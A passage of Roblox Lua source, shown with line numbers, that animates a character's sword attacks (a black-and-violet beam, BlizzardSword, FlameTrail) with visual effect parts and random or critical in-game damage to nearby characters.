| 8468 | shellz.CanCollide = false | |
| 8469 | shellz.Reflectance = 0 | |
| 8470 | local bv = Instance.new("BodyPosition")
| |
| 8471 | bv.Parent = shellz | |
| 8472 | bv.maxForce = Vector3.new(200000,200000,200000) | |
| 8473 | bv.position = shellz.Position | |
| 8474 | local hx = false | |
| 8475 | coroutine.resume(coroutine.create(function() | |
| 8476 | for i = 0 , 1 , 0.05 do | |
| 8477 | wait() | |
| 8478 | shellz.Transparency = 1-1*i | |
| 8479 | end | |
| 8480 | shellz.Transparency = 0 | |
| 8481 | end)) | |
| 8482 | coroutine.resume(coroutine.create(function() | |
| 8483 | wait(0.05) | |
| 8484 | bv.position = hitbox.Position | |
| 8485 | for i = 1 , 20 do | |
| 8486 | wait(0.1) | |
| 8487 | bv.position = shell.Position | |
| 8488 | end | |
| 8489 | shellz.Parent = nil | |
| 8490 | end)) | |
| 8491 | wait(0.01) | |
| 8492 | end | |
| 8493 | coroutine.resume(coroutine.create(function () | |
| 8494 | repeat wait() until hx | |
| 8495 | tempmod.Parent = nil | |
| 8496 | end)) | |
| 8497 | end)) | |
| 8498 | for i = 0 , 1 , 0.1 do | |
| 8499 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8500 | wait() | |
| 8501 | RW.C0 = CFrame.new(1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i), math.rad(0), math.rad(-45)) | |
| 8502 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8503 | LW.C0 = CFrame.new(-1,1.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(190+20*i),math.rad(0),math.rad(45)) | |
| 8504 | effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8505 | end | |
| 8506 | for i = 0 , 1 , 0.1 do | |
| 8507 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8508 | wait() | |
| 8509 | RW.C0 = CFrame.new(1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i), math.rad(0), math.rad(-45)) | |
| 8510 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8511 | LW.C0 = CFrame.new(-1,1.5-1*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(210-130*i),math.rad(0),math.rad(45)) | |
| 8512 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 8513 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(45)) * CFrame.new(0, 0, 0.2) | |
| 8514 | bp.position = CF.p + CF.lookVector * 2.5 + Vector3.new(0,-1,0) | |
| 8515 | RWL.C0 = CFrame.new(1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0)) | |
| 8516 | LWL.C0 = CFrame.new(-1, -1+1*i, -1*i) * CFrame.fromEulerAnglesXYZ(math.rad(-20+20*i), math.rad(0), math.rad(0)) | |
| 8517 | effect("Really black",0,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0))
| |
| 8518 | end | |
| 8519 | hx = true | |
| 8520 | wait(0.1) | |
| 8521 | local Hit,A, B = Raycast(hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 1 ,hitbox.Position + Vector3.new(0,3,0) + Torso.CFrame.lookVector * 101 ,100) | |
| 8522 | local effectsmsh = Instance.new("CylinderMesh")
| |
| 8523 | effectsmsh.Scale = Vector3.new(1,1,1) | |
| 8524 | local effectsg = Instance.new("Part")
| |
| 8525 | effectsg.formFactor = 3 | |
| 8526 | effectsg.CanCollide = false | |
| 8527 | effectsg.Name = "LAZOR" | |
| 8528 | effectsg.Locked = true | |
| 8529 | effectsg.Anchored = true | |
| 8530 | effectsg.Parent = swordholder | |
| 8531 | effectsmsh.Parent = effectsg | |
| 8532 | effectsg.BrickColor = BrickColor.new("Black")
| |
| 8533 | effectsg.Reflectance = 0.5 | |
| 8534 | local point1 = B | |
| 8535 | local point0 = A | |
| 8536 | for zz = 1 , 5 do | |
| 8537 | local mesh = Instance.new("SpecialMesh")
| |
| 8538 | mesh.MeshType = "FileMesh" | |
| 8539 | mesh.MeshId = "http://www.roblox.com/asset/?id=20329976" | |
| 8540 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01) | |
| 8541 | local shell = Instance.new("Part")
| |
| 8542 | mesh.Parent = shell | |
| 8543 | shell.Anchored = true | |
| 8544 | shell.formFactor = 1 | |
| 8545 | shell.Size = Vector3.new(1,1,1) | |
| 8546 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 2 | |
| 8547 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0.5*zz,0) | |
| 8548 | shell.Parent = swordholder | |
| 8549 | shell.Transparency = 0 | |
| 8550 | if math.fmod(zz,2) == 0 then | |
| 8551 | shell.BrickColor = BrickColor.new("Really black")
| |
| 8552 | else | |
| 8553 | shell.BrickColor = BrickColor.new("Bright violet")
| |
| 8554 | end | |
| 8555 | shell.CanCollide = false | |
| 8556 | coroutine.resume(coroutine.create(function() | |
| 8557 | for i = 0 , 1 , 0.01 do | |
| 8558 | wait() | |
| 8559 | mesh.Scale = Vector3.new(10,5,10) * Vector3.new(i,1,i) | |
| 8560 | shell.Transparency = 1*i | |
| 8561 | end | |
| 8562 | shell.Transparency = 1 | |
| 8563 | shell.Parent = nil | |
| 8564 | end)) | |
| 8565 | end | |
| 8566 | for zz = 1 , 1 do | |
| 8567 | local mesh = Instance.new("SpecialMesh")
| |
| 8568 | mesh.MeshType = "Sphere" | |
| 8569 | mesh.Scale = Vector3.new(20,15,10) * Vector3.new(0.01,0.01,0.01) | |
| 8570 | local shell = Instance.new("Part")
| |
| 8571 | mesh.Parent = shell | |
| 8572 | shell.Anchored = true | |
| 8573 | shell.formFactor = 1 | |
| 8574 | shell.Size = Vector3.new(1,1,1) | |
| 8575 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * 10 | |
| 8576 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0) | |
| 8577 | shell.Parent = swordholder | |
| 8578 | shell.Transparency = 0 | |
| 8579 | shell.BrickColor = BrickColor.new("Bright violet")
| |
| 8580 | shell.CanCollide = false | |
| 8581 | coroutine.resume(coroutine.create(function() | |
| 8582 | for i = 0 , 1 , 0.02 do | |
| 8583 | wait() | |
| 8584 | mesh.Scale = Vector3.new(10,15,15) * Vector3.new(i,1,i) | |
| 8585 | shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0) | |
| 8586 | shell.Transparency = 1-1*i | |
| 8587 | end | |
| 8588 | for i = 0 , 1 , 0.05 do | |
| 8589 | wait() | |
| 8590 | shell.CFrame = shell.CFrame * CFrame.Angles(0,i,0) | |
| 8591 | shell.Transparency = 1*i | |
| 8592 | end | |
| 8593 | shell.Transparency = 1 | |
| 8594 | shell.Parent = nil | |
| 8595 | end)) | |
| 8596 | end | |
| 8597 | for zz = 1 , 1 do | |
| 8598 | local mesh = Instance.new("CylinderMesh")
| |
| 8599 | mesh.Scale = Vector3.new(20,0.5,10) * Vector3.new(0.01,0.01,0.01) | |
| 8600 | local shell = Instance.new("Part")
| |
| 8601 | mesh.Parent = shell | |
| 8602 | shell.Anchored = true | |
| 8603 | shell.formFactor = 1 | |
| 8604 | shell.Size = Vector3.new(1,1,1) | |
| 8605 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /-2) + Torso.CFrame.lookVector * -0.5 | |
| 8606 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90),0,0) | |
| 8607 | shell.Parent = swordholder | |
| 8608 | shell.Transparency = 0 | |
| 8609 | shell.BrickColor = BrickColor.new("Bright violet")
| |
| 8610 | shell.CanCollide = false | |
| 8611 | coroutine.resume(coroutine.create(function() | |
| 8612 | for i = 0 , 1 , 0.02 do | |
| 8613 | wait() | |
| 8614 | mesh.Scale = Vector3.new(20,0.5,20) * Vector3.new(i,1,i) | |
| 8615 | shell.Transparency = 1-1*i | |
| 8616 | end | |
| 8617 | for i = 0 , 1 , 0.02 do | |
| 8618 | wait() | |
| 8619 | shell.Transparency = 1*i | |
| 8620 | end | |
| 8621 | shell.Transparency = 1 | |
| 8622 | shell.Parent = nil | |
| 8623 | end)) | |
| 8624 | end | |
| 8625 | for zz = 1 , 10 do | |
| 8626 | local mesh = Instance.new("SpecialMesh")
| |
| 8627 | mesh.MeshType = "FileMesh" | |
| 8628 | mesh.MeshId = "http://www.roblox.com/Asset/?id=9756362" | |
| 8629 | mesh.Scale = Vector3.new(5,5,5) * Vector3.new(0.01,0.01,0.01) | |
| 8630 | local shell = Instance.new("Part")
| |
| 8631 | mesh.Parent = shell | |
| 8632 | shell.Anchored = true | |
| 8633 | shell.formFactor = 1 | |
| 8634 | shell.Size = Vector3.new(1,1,1) | |
| 8635 | shell.CFrame = CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2) | |
| 8636 | shell.CFrame = shell.CFrame * CFrame.Angles(math.rad(-90)+2*math.random(),2*math.random(),2*math.random()) | |
| 8637 | shell.Parent = swordholder | |
| 8638 | shell.Transparency = 0 | |
| 8639 | if math.fmod(zz,2) == 0 then | |
| 8640 | shell.BrickColor = BrickColor.new("Really black")
| |
| 8641 | else | |
| 8642 | shell.BrickColor = BrickColor.new("Bright violet")
| |
| 8643 | end | |
| 8644 | shell.CanCollide = false | |
| 8645 | coroutine.resume(coroutine.create(function() | |
| 8646 | for i = 0 , 1 , 0.01 do | |
| 8647 | wait() | |
| 8648 | mesh.Scale = Vector3.new(25,25,25) * Vector3.new(i,i,i) | |
| 8649 | shell.Transparency = 1*i | |
| 8650 | end | |
| 8651 | shell.Transparency = 1 | |
| 8652 | shell.Parent = nil | |
| 8653 | end)) | |
| 8654 | end | |
| 8655 | coroutine.resume(coroutine.create(function() | |
| 8656 | effectsg.Transparency = 1 | |
| 8657 | for i = 0 , 1 , 0.1 do | |
| 8658 | wait() | |
| 8659 | effectsg.Transparency = 1-1*i | |
| 8660 | end | |
| 8661 | wait(2) | |
| 8662 | for i = 0 , 1 , 0.1 do | |
| 8663 | wait() | |
| 8664 | effectsg.Transparency = 1*i | |
| 8665 | end | |
| 8666 | effectsg.Parent = nil | |
| 8667 | end)) | |
| 8668 | local mg = 100 | |
| 8669 | if Hit ~= nil then | |
| 8670 | mg = (point0-point1).magnitude | |
| 8671 | elseif Hit == nil then | |
| 8672 | mg = 100 | |
| 8673 | end | |
| 8674 | ls(Head,0.5) | |
| 8675 | ls(Head,0.75) | |
| 8676 | cs(Head,0.25) | |
| 8677 | ls(Head,1) | |
| 8678 | ls(Head,3) | |
| 8679 | cs(Head,0.15) | |
| 8680 | for mgg = 0 , 1,0.1 do | |
| 8681 | wait() | |
| 8682 | effectsg.Size = Vector3.new(5,(mg*mgg)+0.2,5) | |
| 8683 | local durr = CFrame.new((point0+(point1))/2,(point1)) | |
| 8684 | effectsg.CFrame = CFrame.new((point0+(point1-durr.lookVector * (mg*(1-mgg))))/2,(point1)) * CFrame.Angles(math.rad(90),0,0) | |
| 8685 | end | |
| 8686 | local critrandomizer = math.random(1,crtrate) | |
| 8687 | if critrandomizer ~= 1 then | |
| 8688 | local rndmdamage = math.random(mindamage+30,maxdamage+30) | |
| 8689 | AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,false) | |
| 8690 | elseif critrandomizer == 1 then | |
| 8691 | local rndmdamage = math.random(maxdamage+30,crtmaxdamage+30) | |
| 8692 | AoEP((CFrame.new((point0+point1)/2,point1) + CFrame.new((point0+point1)/2,point1).lookVector * (((point0)-(point1)).magnitude /2)).p,15,rndmdamage+darkboost,true) | |
| 8693 | end | |
| 8694 | bp.Parent = nil | |
| 8695 | for i = 0 , 1 , 0.1 do | |
| 8696 | wait() | |
| 8697 | RW.C0 = CFrame.new(1,1-0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(90-45*i), math.rad(-45)) | |
| 8698 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8699 | LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45*i),math.rad(45)) | |
| 8700 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0) | |
| 8701 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2) | |
| 8702 | RWL.C0 = CFrame.new(1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8703 | LWL.C0 = CFrame.new(-1, -1*i, -1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8704 | prt8.Transparency = 1*i | |
| 8705 | end | |
| 8706 | for ii = 1 , #AoETrue do | |
| 8707 | table.remove(AoETrue,#AoETrue) | |
| 8708 | end | |
| 8709 | RWLRem() | |
| 8710 | LWLRem() | |
| 8711 | attack = false | |
| 8712 | attacktype = 1 | |
| 8713 | end | |
| 8714 | function BlizzardSword() | |
| 8715 | attack=true | |
| 8716 | for i = 0 , 1 , 0.2 do | |
| 8717 | wait() | |
| 8718 | RW.C0 = CFrame.new(1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45)) | |
| 8719 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8720 | LW.C0 = CFrame.new(-1,0.5+1*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i),math.rad(-45+45*i),math.rad(45)) | |
| 8721 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8722 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90-45*i)) * CFrame.new(0, 0, 0.2) | |
| 8723 | end | |
| 8724 | local wssave = Character.Humanoid.WalkSpeed | |
| 8725 | Character.Humanoid.WalkSpeed = 0 | |
| 8726 | ss(Head,1.5) | |
| 8727 | local efftab = {}
| |
| 8728 | for i = 0 , 1 , 0.2 do | |
| 8729 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8730 | wait() | |
| 8731 | RW.C0 = CFrame.new(1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i), math.rad(0), math.rad(-45)) | |
| 8732 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8733 | LW.C0 = CFrame.new(-1,1.5-1.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(135-135*i),math.rad(0),math.rad(45)) | |
| 8734 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8735 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45)) * CFrame.new(0, 0, 0.2) | |
| 8736 | local eff = effect("Bright blue",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
| |
| 8737 | table.insert(efftab,eff) | |
| 8738 | end | |
| 8739 | local trspos = Torso.Position | |
| 8740 | Character.Humanoid.WalkSpeed = wssave | |
| 8741 | for _,efff in pairs(efftab) do | |
| 8742 | wait() | |
| 8743 | coroutine.resume(coroutine.create(function() | |
| 8744 | for i = 0 , 1 , 0.15 do | |
| 8745 | wait() | |
| 8746 | efff.Transparency = 1*i | |
| 8747 | end | |
| 8748 | wait() | |
| 8749 | efff.Transparency = 1 | |
| 8750 | end)) | |
| 8751 | end | |
| 8752 | for io,eff in pairs(efftab) do | |
| 8753 | wait() | |
| 8754 | for zz = 1 , 1 do | |
| 8755 | local mesh = Instance.new("CylinderMesh")
| |
| 8756 | mesh.Scale = Vector3.new(0.1,0.5,0.1) | |
| 8757 | local shell = Instance.new("Part")
| |
| 8758 | mesh.Parent = shell | |
| 8759 | shell.Anchored = true | |
| 8760 | shell.formFactor = 1 | |
| 8761 | shell.Size = Vector3.new(1,1,1) | |
| 8762 | local dur = CFrame.new(trspos,eff.Position) | |
| 8763 | local CF1 = dur * CFrame.Angles(math.rad(90),0,0) * CFrame.new(0,-6,0) | |
| 8764 | shell.CFrame = CF1 | |
| 8765 | shell.Parent = eff | |
| 8766 | shell.Transparency = 1 | |
| 8767 | shell.Reflectance = 0.25 | |
| 8768 | shell.BrickColor = BrickColor.new("Bright blue")
| |
| 8769 | shell.CanCollide = false | |
| 8770 | is(shell,0.5) | |
| 8771 | coroutine.resume(coroutine.create(function() | |
| 8772 | for i = 0 , 1 , 0.1 do | |
| 8773 | wait() | |
| 8774 | shell.Transparency = 1-1*i | |
| 8775 | mesh.Scale = Vector3.new(0.1+4.9*i,0.5,0.1+4.9*i) | |
| 8776 | end | |
| 8777 | wait(0.25) | |
| 8778 | for i = 0 , 1 , 0.1 do | |
| 8779 | wait() | |
| 8780 | shell.Transparency = 1*i | |
| 8781 | mesh.Scale = Vector3.new(5-5*i,0.5-0.5*i,5-5*i) | |
| 8782 | end | |
| 8783 | shell.Parent = nil | |
| 8784 | end)) | |
| 8785 | end | |
| 8786 | end | |
| 8787 | for io,eff in pairs(efftab) do | |
| 8788 | wait() | |
| 8789 | for zz = 1 , 1 do | |
| 8790 | local mesh = Instance.new("SpecialMesh")
| |
| 8791 | mesh.MeshType = "FileMesh" | |
| 8792 | mesh.Scale = Vector3.new(5,2,1) | |
| 8793 | mesh.MeshId = "rbxasset://fonts/sword.mesh" | |
| 8794 | local shell = Instance.new("Part")
| |
| 8795 | mesh.Parent = shell | |
| 8796 | shell.Anchored = true | |
| 8797 | shell.formFactor = 1 | |
| 8798 | shell.Size = Vector3.new(2,2,5) | |
| 8799 | local dur = CFrame.new(trspos,eff.Position) | |
| 8800 | local CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5)* CFrame.Angles(0,0,math.rad(90)) | |
| 8801 | shell.CFrame = CF1 | |
| 8802 | shell.Parent = eff | |
| 8803 | shell.Transparency = 1 | |
| 8804 | shell.Reflectance = 0.25 | |
| 8805 | shell.BrickColor = BrickColor.new("Bright blue")
| |
| 8806 | shell.CanCollide = false | |
| 8807 | local hitd = 0 | |
| 8808 | coroutine.resume(coroutine.create(function() | |
| 8809 | local dd = false | |
| 8810 | while shell.Parent ~= nil and not dd do | |
| 8811 | wait() | |
| 8812 | local c = game.Workspace:GetChildren(); | |
| 8813 | for i = 1, #c do | |
| 8814 | local hum = c[i]:findFirstChild("Humanoid")
| |
| 8815 | if hum ~= nil and hum.Health ~= 0 then | |
| 8816 | local head = c[i]:findFirstChild("Torso");
| |
| 8817 | if head ~= nil then | |
| 8818 | local targ = head.Position - shell.Position; | |
| 8819 | local mag = targ.magnitude; | |
| 8820 | if mag <= 3 and c[i].Name ~= Player.Name then | |
| 8821 | dd = true | |
| 8822 | local critrandomizer = math.random(1,crtrate) | |
| 8823 | if critrandomizer ~= 1 then | |
| 8824 | local rndmdamage = math.random(mindamage+iceboost,maxdamage+iceboost) | |
| 8825 | damagesplat(rndmdamage,head,false) | |
| 8826 | hum:TakeDamage(rndmdamage) | |
| 8827 | elseif critrandomizer == 1 then | |
| 8828 | local rndmdamage = math.random(maxdamage+iceboost,crtmaxdamage+iceboost) | |
| 8829 | damagesplat(rndmdamage,head,true) | |
| 8830 | hum:TakeDamage(rndmdamage) | |
| 8831 | end | |
| 8832 | end | |
| 8833 | end | |
| 8834 | end | |
| 8835 | end | |
| 8836 | end | |
| 8837 | end)) | |
| 8838 | coroutine.resume(coroutine.create(function() | |
| 8839 | uss(eff,1) | |
| 8840 | ||
| 8841 | for i = 0 , 1 , 0.1 do | |
| 8842 | wait() | |
| 8843 | shell.Transparency = 1-1*i | |
| 8844 | CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,6.5+2*i)* CFrame.Angles(0,0,math.rad(90)) | |
| 8845 | shell.CFrame = CF1 | |
| 8846 | mesh.Scale = Vector3.new(5,2,1+0.5*i) | |
| 8847 | end | |
| 8848 | wait(0.25) | |
| 8849 | ss(eff,2) | |
| 8850 | for i = 0 , 1 , 0.1 do | |
| 8851 | wait() | |
| 8852 | shell.Transparency = 1*i | |
| 8853 | CF1 = dur * CFrame.Angles(math.rad(180),0,0) * CFrame.new(0,0,8.5+25*i)* CFrame.Angles(0,0,math.rad(90)) | |
| 8854 | shell.CFrame = CF1 | |
| 8855 | mesh.Scale = Vector3.new(5-5*i,2-2*i,1.5-1.5*i*i) | |
| 8856 | end | |
| 8857 | shell.Parent = nil | |
| 8858 | end)) | |
| 8859 | end | |
| 8860 | end | |
| 8861 | coroutine.resume(coroutine.create(function() | |
| 8862 | wait(1.5) | |
| 8863 | for _,eff in pairs(efftab) do | |
| 8864 | wait() | |
| 8865 | eff.Parent = nil | |
| 8866 | end end)) | |
| 8867 | for i = 0 , 1 , 0.1 do | |
| 8868 | wait() | |
| 8869 | RW.C0 = CFrame.new(1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i), math.rad(45*i), math.rad(-45)) | |
| 8870 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0)) | |
| 8871 | LW.C0 = CFrame.new(-1,0.5*i,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(-45*i),math.rad(45)) | |
| 8872 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8873 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(45+45*i)) * CFrame.new(0, 0, 0.2) | |
| 8874 | end | |
| 8875 | attack=false | |
| 8876 | end | |
| 8877 | local FTCount = 0 | |
| 8878 | function FlameTrail() | |
| 8879 | attack=true | |
| 8880 | for i = 0 , 1 , 0.15 do | |
| 8881 | wait() | |
| 8882 | RW.C0 = CFrame.new(1-0.5*i,0.5,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45+45*i), math.rad(-45+55*i)) | |
| 8883 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45*i), math.rad(0), math.rad(0)) | |
| 8884 | LW.C0 = CFrame.new(-1+0.5*i,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45+20*i)) | |
| 8885 | end | |
| 8886 | wait(0.1) | |
| 8887 | ss(Head,1.5) | |
| 8888 | fs(Head,0.5+1.5*math.random()) | |
| 8889 | local efftab = {}
| |
| 8890 | RW.C0 = CFrame.new(0.5,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10)) | |
| 8891 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45), math.rad(0), math.rad(0)) | |
| 8892 | LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(65)) | |
| 8893 | dmgcnnct(hitbox) | |
| 8894 | for i = 0 , 1 , 0.15 do | |
| 8895 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8896 | wait() | |
| 8897 | RW.C0 = CFrame.new(0.5+1*i,0.5,-1+1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90), math.rad(10)) | |
| 8898 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-45+135*i*i), math.rad(0), math.rad(0)) | |
| 8899 | LW.C0 = CFrame.new(-0.5-1*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+20*i),math.rad(-45),math.rad(65-155*i)) | |
| 8900 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8901 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 8902 | if FTCount <= MaxFT then | |
| 8903 | local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
| |
| 8904 | eff.Transparency = 1 | |
| 8905 | table.insert(efftab,eff) | |
| 8906 | FTCount = FTCount + 1 | |
| 8907 | OTND(eff) | |
| 8908 | coroutine.resume(coroutine.create(function() | |
| 8909 | for i = 0 , 1 , 0.15 do | |
| 8910 | wait() | |
| 8911 | eff.Transparency = 1-0.5*i | |
| 8912 | end | |
| 8913 | wait() | |
| 8914 | eff.Transparency = 0.5 | |
| 8915 | end)) | |
| 8916 | end | |
| 8917 | end | |
| 8918 | local rndmneg = math.random(1,2) | |
| 8919 | if rndmneg == 1 then | |
| 8920 | rndmdec1 = 13 * math.random() | |
| 8921 | else | |
| 8922 | rndmdec1 = -13 * math.random() | |
| 8923 | end | |
| 8924 | for i = 0 , 1 , 0.1 do | |
| 8925 | wait() | |
| 8926 | RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1*i), math.rad(90), math.rad(10-(rndmdec1*2)*i)) | |
| 8927 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+20*i), math.rad(0), math.rad(0)) | |
| 8928 | LW.C0 = CFrame.new(-1.5,0.5,-0) * CFrame.fromEulerAnglesXYZ(math.rad(100),math.rad(-45),math.rad(-90)) | |
| 8929 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8930 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 8931 | end | |
| 8932 | ss(Head,1.5) | |
| 8933 | fs(Head,0.5+1.5*math.random()) | |
| 8934 | Hitdeb = 0 | |
| 8935 | for i = 0 , 1 , 0.15 do | |
| 8936 | LastPoint = hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0) | |
| 8937 | wait() | |
| 8938 | RW.C0 = CFrame.new(1.5-1.5*i,0.5,-1*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-rndmdec1), math.rad(90), math.rad(10-(rndmdec1*2))) | |
| 8939 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(110-200*i), math.rad(0), math.rad(0)) | |
| 8940 | LW.C0 = CFrame.new(-1.5+1*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(100-80*i),math.rad(-45),math.rad(-90+135*i)) | |
| 8941 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
| 8942 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 8943 | if FTCount <= MaxFT then | |
| 8944 | local eff = effect("Bright red",0.2,LastPoint,hitbox.CFrame * CFrame.new(0,hitbox.Size.y/2,0),true)
| |
| 8945 | eff.Transparency = 1 | |
| 8946 | table.insert(efftab,eff) | |
| 8947 | FTCount = FTCount + 1 | |
| 8948 | OTND(eff) | |
| 8949 | coroutine.resume(coroutine.create(function() | |
| 8950 | for i = 0 , 1 , 0.15 do | |
| 8951 | wait() | |
| 8952 | eff.Transparency = 1-0.5*i | |
| 8953 | end | |
| 8954 | wait() | |
| 8955 | eff.Transparency = 0.5 | |
| 8956 | end)) | |
| 8957 | end | |
| 8958 | end | |
| 8959 | w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2) | |
| 8960 | for i = 0 , 1 , 0.2 do | |
| 8961 | wait() | |
| 8962 | local rndmd = rndmdec1-rndmdec1*i | |
| 8963 | RW.C0 = CFrame.new(0,0.5,-1) * CFrame.fromEulerAnglesXYZ(math.rad((90-rndmd)), math.rad(90), math.rad((10-(rndmd*2))-20*i)) | |
| 8964 | RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-90-10*i), math.rad(0), math.rad(0)) | |
| 8965 | LW.C0 = CFrame.new(-0.5,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45)) | |
| 8966 | w1.C1 = CFrame.fromEulerAnglesXYZ(0, math.rad(0), 0) * CFrame.new(0, 0,0) | |
